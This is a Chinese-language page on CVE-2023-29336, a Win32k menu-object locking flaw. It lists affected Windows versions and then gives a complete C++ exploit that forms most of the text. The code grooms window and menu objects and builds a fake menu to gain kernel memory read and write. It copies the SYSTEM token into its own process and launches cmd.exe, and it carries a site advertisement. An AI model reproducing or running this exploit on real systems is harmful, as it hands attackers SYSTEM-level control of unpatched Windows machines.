Win32k 子系统(Win32k.sys内核驱动程序)管理操作系统的窗口管理器、屏幕输出、输入和图形,并作为各类输入硬件之间的接口。
- CVE-2023-29336 Win32k内核驱动程序中存在权限提升漏洞,由于Win32k中只专注于锁定窗口对象,无意中忽略了锁定嵌套在窗口对象中的菜单对象,可以通过更改系统内存中的特定地址来控制菜单对象,以获得与启动它的程序相同级别的访问权限,并通过其它操作实现将权限提升为SYSTEM。
影响范围
- Windows Server 2012 R2 (Server Core installation)
- Windows Server 2012 R2
- Windows Server 2012 (Server Core installation)
- Windows Server 2012
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
- Windows Server 2008 for x64-based Systems Service Pack 2
- Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
- Windows Server 2008 for 32-bit Systems Service Pack 2
- Windows Server 2016 (Server Core installation)
- Windows Server 2016
- Windows 10 Version 1607 for x64-based Systems
- Windows 10 Version 1607 for 32-bit Systems
- Windows 10 for x64-based Systems
- Windows 10 for 32-bit Systems
代码样本
// Rainbow 【www.chwm.vip】
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#define IDM_MYMENU 101
#define IDM_EXIT 102
#define IDM_DISABLE 0xf120
#define IDM_ENABLE 104
#define EPROCESS_UNIQUE_PROCESS_ID_OFFSET 0x440
#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x448
#define EPROCESS_TOKEN_OFFSET 0x4b8
typedef DWORD64(NTAPI* NtUserEnableMenuItem)(HMENU hMenu, UINT uIDEnableItem, UINT uEnable);
typedef DWORD64(NTAPI* NtUserSetClassLongPtr)(HWND a1, unsigned int a2, unsigned __int64 a3, unsigned int a4);
typedef DWORD64(NTAPI* NtUserCreateAcceleratorTable)(void* Src, int a2);
typedef DWORD64(NTAPI* fnNtUserConsoleControl)(int nConsoleCommand, PVOID, int nConsoleInformationLength);
NtUserSetClassLongPtr g_NtUserSetClassLongPtr = NULL;
NtUserEnableMenuItem g_NtUserEnableMenuItem = NULL;
NtUserCreateAcceleratorTable g_NtUserCreateAcceleratorTable = NULL;
fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr;
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);
int syytem();
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
BOOL bExploited;
BYTE pfnWindProc[1];
} SHELLCODE, * PSHELLCODE;
struct tagMENU
{
ULONG64 field_0;
ULONG64 field_8;
ULONG64 field_10;
ULONG64 field_18;
ULONG64 field_20;
PVOID obj28;
DWORD field_30;
DWORD flag1;
DWORD flag2;
DWORD cxMenu;
DWORD cyMenu;
ULONG64 field_48;
PVOID rgItems;
ULONG64 field_58; // + 0x58
ULONG64 field_60;
ULONG64 field_68;
ULONG64 field_70;
ULONG64 field_78;
ULONG64 field_80;
ULONG64 field_88;
ULONG64 field_90;
PVOID ref; // + 0x98
};
struct MyData
{
BYTE name[0x96];
};
tagMENU* g_pFakeMenu = 0;
static PSHELLCODE pvShellCode = NULL;
HMENU hSystemMenu;
HMENU hMenu;
HMENU hSubMenu;
HMENU hAddedSubMenu;
HMENU hMenuB;
PVOID MENU_add = 0;
DWORD flag = 0;
UINT iWindowCount = 0x100;
HWND HWND_list[0x300];
HWND HWND_list1[0x20];
HMENU HMENUL_list[0x300];
int Hwnd_num = 0;
int Hwnd_num1 = 0;
ULONGLONG HWND_add = 0;
ULONGLONG GS_off = 0;
WORD max = 0;
static PULONGLONG ptagWNDFake = NULL;
static PULONGLONG ptagWNDFake1 = NULL;
static PULONGLONG ptagWNDFake2 = NULL;
static PULONGLONG GS_hanlde = NULL;
static PULONGLONG HWND_class = NULL;
struct ThreadParams {
int threadId;
int numLoops;
};
static unsigned long long GetGsValue(unsigned long long gsValue)
{
return gsValue;
}
PVOID GetMenuHandle(HMENU menu_D)
{
int conut = 0;
PVOID HANDLE = 0;
PBYTE add = 0;
WORD temp = 0;
DWORD offset = 0xbd688;
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
ULONGLONG par1 = 0;
DWORD par2 = 0;
memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);
add = (PBYTE)(par1 + 0x18 * reinterpret_cast<ULONG_PTR>(menu_D));
if (add)
{
HANDLE = *(PVOID*)add;
}
else
{
HANDLE = 0;
}
HANDLE = (PVOID*)((ULONGLONG)HANDLE - GS_off + 0x20);
return *(PVOID*)HANDLE;
}
PVOID xxGetHMValidateHandle(HMENU menu_D, DWORD type_hanlde)
{
int conut = 0;
PVOID HANDLE = 0;
PBYTE add = 0;
ULONGLONG temp = 0; // Change the data type to ULONGLONG
DWORD offset = 0xbd688;
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
ULONGLONG par1 = 0;
DWORD par2 = 0;
memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);
temp = (ULONGLONG)menu_D >> 16;
add = (PBYTE)(par1 + 0x18 * static_cast<ULONGLONG>(reinterpret_cast<ULONGLONG>(menu_D) & 0xFFFF));
if (add)
{
HANDLE = *(PVOID*)add;
}
else
{
HANDLE = 0;
}
HANDLE = (PVOID*)((ULONGLONG)HANDLE - GS_off + 0x20);
return *(PVOID*)HANDLE;
}
static VOID xxReallocPopupMenu(VOID)
{
for (INT i = 0; i < 0x8; i++)
{
WNDCLASSEXW Class = { 0 };
WCHAR szTemp[0x100] = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@A%d", i);
Class.cbSize = sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
if (!RegisterClassExW(&Class))
{
continue;
}
}
}
VOID createclass(VOID)
{
WCHAR szTemp[0x100] = { 0 };
for (INT i = 9; i < 29; i++)
{
WNDCLASSEXW Class = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"A@A%d", i);
Class.cbSize = sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0x20;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
Class.cbClsExtra = 0x1a0;
if (!RegisterClassExW(&Class))
{
continue;
}
}
for (INT i = 9; i < 29; i++)
{
wsprintfW(szTemp, L"A@A%d", i);
HWND_list1[i] = CreateWindowEx(NULL, szTemp, NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
}
}
ULONG64 Read64(ULONG64 address)
{
MENUBARINFO mbi = { 0 };
mbi.cbSize = sizeof(MENUBARINFO);
g_pFakeMenu->rgItems = PVOID(address - 0x48);
GetMenuBarInfo(HWND_list[max + 1], OBJID_MENU, 1, &mbi);
return (unsigned int)mbi.rcBar.left + ((ULONGLONG)mbi.rcBar.top << 32);
}
void exploit()
{
ULONG64 randomVariable1 = 0;
HWND_class = (PULONGLONG)((PBYTE)0x303000);
HWND_class[12] = 0x100;
HWND_class[20] = 0x303010;
for (int loopIndex = 0; loopIndex < 0x20; loopIndex++)
{
ULONG64 pmenu = SetClassLongPtr(HWND_list1[loopIndex], 0x270, (LONG_PTR)g_pFakeMenu);
if (pmenu != 0)
{
randomVariable1 = loopIndex;
MENUBARINFO mbi = { 0 };
mbi.cbSize = sizeof(MENUBARINFO);
}
}
ULONG64 randomVariable2 = Read64(HWND_add + 0x250 + 0x10); // USER_THREADINFO
randomVariable2 = Read64(randomVariable2); // THREADINFO
randomVariable2 = Read64(randomVariable2 + 0x220); // (PROCESSINFO)
ULONG64 eprocess = randomVariable2;
printf("Current EPROCESS = %llx\n", eprocess);
randomVariable2 = Read64(randomVariable2 + 0x2f0);
do
{
randomVariable2 = Read64(randomVariable2 + 0x08);
ULONG64 randomVariable3 = Read64(randomVariable2 - 0x08);
if (randomVariable3 == 4)
{
ULONG64 pSystemToken = Read64(randomVariable2 + 0x68);
printf("pSys/tem Token = %llx \n", pSystemToken);
HWND_class[8] = eprocess + 0x290;
ULONG64 randomVariable4 = SetClassLongPtr(HWND_list1[randomVariable1], 0x250 + 0x98 - 0xa0, (LONG_PTR)HWND_class);
SetClassLongPtr(HWND_list[max + 1], 0x28, pSystemToken);
randomVariable4 = SetClassLongPtr(HWND_list1[randomVariable1], 0x250 + 0x98 - 0xa0, (LONG_PTR)randomVariable4);
break;
}
} while (randomVariable2 != eprocess);
// Invoke the madness
syytem();
}
void buildmem()
{
WORD max_handle = 0;
pvShellCode = (PSHELLCODE)VirtualAlloc((PVOID)0x300000, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
{
return;
}
ZeroMemory(pvShellCode, 0x10000);
ptagWNDFake = (PULONGLONG)((PBYTE)0x304140);
ptagWNDFake[0] = (ULONGLONG)0x304140;
ptagWNDFake[2] = (ULONGLONG)0x304140 + 0x10;
ptagWNDFake[6] = (ULONGLONG)0x304140;
ptagWNDFake[8] = 0x305300;
ptagWNDFake[11] = (ULONGLONG)MENU_add;
ptagWNDFake[68] = (ULONGLONG)0x304140 + 0x230;
ptagWNDFake[69] = (ULONGLONG)0x304140 + 0x28;
ptagWNDFake[70] = (ULONGLONG)0x304140 + 0x30;
ptagWNDFake[71] = (ULONGLONG)0x000004;
ptagWNDFake1 = (PULONGLONG)((PBYTE)0x305300);
ptagWNDFake1[1] = (ULONGLONG)0x11;
ptagWNDFake1[2] = (ULONGLONG)0x305320;
ptagWNDFake1[6] = (ULONGLONG)0x1000000000020000;
ptagWNDFake1[8] = (ULONGLONG)0x00000000029d0000;
ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120;
ptagWNDFake1[14] = (ULONGLONG)0x306500;
ptagWNDFake1[16] = (ULONGLONG)305400;
ptagWNDFake2 = (PULONGLONG)((PBYTE)0x306500);
ptagWNDFake1[11] = (ULONGLONG)0x306600;
WNDCLASSEX WndClass = { 0 };
WndClass.cbSize = sizeof(WNDCLASSEX);
WndClass.lpfnWndProc = DefWindowProc;
WndClass.style = CS_VREDRAW | CS_HREDRAW;
WndClass.cbWndExtra = 0xe0;
WndClass.hInstance = NULL;
WndClass.lpszMenuName = NULL;
WndClass.lpszClassName = L"NormalClass";
RegisterClassEx(&WndClass);
for (int i = 0; i < 0x200; i++)
{
HMENUL_list[i] = CreateMenu();
}
for (int i = 0; i < 0x100; i++)
{
HWND_list[i] = CreateWindowEx(NULL, L"NormalClass", NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, HMENUL_list[i], NULL, NULL);
}
for (int i = 0; i < 0x100; i++)
{
SetWindowLongPtr(HWND_list[i], 0x58, (LONG_PTR)0x0002080000000000);
SetWindowLongPtr(HWND_list[i], 0x80, (LONG_PTR)0x0000303030000000);
}
for (int i = 0x20; i < 0x60; i++)
{
if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01) - (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 - 1], 0x01) == 0x250)
{
if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 + 1], 0x01) - (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01) == 0x250)
{
HWND_add = (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01);
max = i * 2;
break;
}
}
if (i == 0x5f)
{
HWND_add = 0;
}
}
ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120;
DestroyWindow(HWND_list[max]);
createclass();
// Create a fake spmenu
PVOID hHeap = (PVOID)0x302000;
g_pFakeMenu = (tagMENU*)(PVOID)0x302000;
g_pFakeMenu->ref = (PVOID)0x302300;
*(PULONG64)g_pFakeMenu->ref = (ULONG64)g_pFakeMenu;
// cItems = 1
g_pFakeMenu->obj28 = (PVOID)0x302200;
*(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2C) = 1;
// rgItems
g_pFakeMenu->rgItems = (PVOID)0x304000;
// cx / cy must > 0
g_pFakeMenu->flag1 = 1;
g_pFakeMenu->flag2 = 1;
g_pFakeMenu->cxMenu = 1;
g_pFakeMenu->cyMenu = 1;
}
int main(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
ULONGLONG gsValue = 0;
unsigned char shellcode[] = "\x65\x48\x8B\x04\x25\x30\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc3";
LPVOID executableMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (executableMemory == NULL) {
return 1;
}
memcpy(executableMemory, shellcode, sizeof(shellcode));
gsValue = ((ULONGLONG(*)())executableMemory)();
gsValue = gsValue + 0x800;
GS_hanlde = (PULONGLONG)(PBYTE)gsValue;
GS_off = GS_hanlde[5];
char str[0xb8] = "";
memset(str, 0x41, 0xa8);
g_NtUserEnableMenuItem = (NtUserEnableMenuItem)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserEnableMenuItem");
g_NtUserSetClassLongPtr = (NtUserSetClassLongPtr)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserSetClassLongPtr");
g_NtUserCreateAcceleratorTable = (NtUserCreateAcceleratorTable)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserCreateAcceleratorTable");
g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl");
WNDCLASS wc = { 0 };
wc.lpfnWndProc = WndProc;
wc.hInstance = hInstance;
wc.lpszClassName = TEXT("EnableMenuItem");
RegisterClass(&wc);
HWND hWnd = CreateWindow(
wc.lpszClassName,
TEXT("EnableMenuItem"),
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
400, 300,
NULL,
NULL,
hInstance,
NULL
);
if (!hWnd) return FALSE;
hSystemMenu = GetSystemMenu(hWnd, FALSE);
hSubMenu = CreatePopupMenu();
MENU_add = GetMenuHandle(hSubMenu);
hMenuB = CreateMenu();
buildmem();
if (HWND_add == 0)
{
return 0;
}
AppendMenu(hSubMenu, MF_STRING, 0x2061, TEXT("0"));
AppendMenu(hSubMenu, MF_STRING, 0xf060, TEXT("1"));
DeleteMenu(hSystemMenu, SC_CLOSE, MF_BYCOMMAND);
AppendMenu(hMenuB, MF_POPUP, (UINT_PTR)hSubMenu, L"Menu A");
AppendMenu(hSystemMenu, MF_POPUP, (UINT_PTR)hMenuB, L"Menu B");
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
flag = 1;
g_NtUserEnableMenuItem(hSystemMenu, 0xf060, 0x01);
exploit();
MSG msg = { 0 };
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return (int)msg.wParam;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_DESTROY:
PostQuitMessage(0);
return 0;
case 0xae:
switch (wParam)
{
case 0x1000:
if (flag)
{
int itemCount = GetMenuItemCount(hMenuB);
for (int i = itemCount - 1; i >= 0; i--) {
RemoveMenu(hMenuB, i, MF_BYPOSITION);
}
DestroyMenu(hSubMenu);
xxReallocPopupMenu();
}
case 0x1001:
if (flag)
{
int itemCount = GetMenuItemCount(hMenuB);
for (int i = itemCount - 1; i >= 0; i--) {
RemoveMenu(hMenuB, i, MF_BYPOSITION);
}
DestroyMenu(hSubMenu);
xxReallocPopupMenu();
}
return 0;
}
break;
}
return DefWindowProc(hWnd, message, wParam, lParam);
}
int syytem()
{
SECURITY_ATTRIBUTES sa;
HANDLE hRead, hWrite;
byte buf[40960] = { 0 };
STARTUPINFOW si;
PROCESS_INFORMATION pi;
RtlSecureZeroMemory(&si, sizeof(si));
RtlSecureZeroMemory(&pi, sizeof(pi));
RtlSecureZeroMemory(&sa, sizeof(sa));
int br = 0;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
{
return -3;
}
si.cb = sizeof(STARTUPINFO);
GetStartupInfoW(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.lpDesktop = const_cast<LPWSTR>(L"WinSta0\\Default");
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
wchar_t cmd[4096] = { L"cmd.exe" };
if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
CloseHandle(hWrite);
CloseHandle(hRead);
printf("[!] CreateProcessW Failed![%lx]\n", GetLastError());
return -2;
}
CloseHandle(hWrite);
printf("[+] website:www.chwm.vip\n");
return 0;
}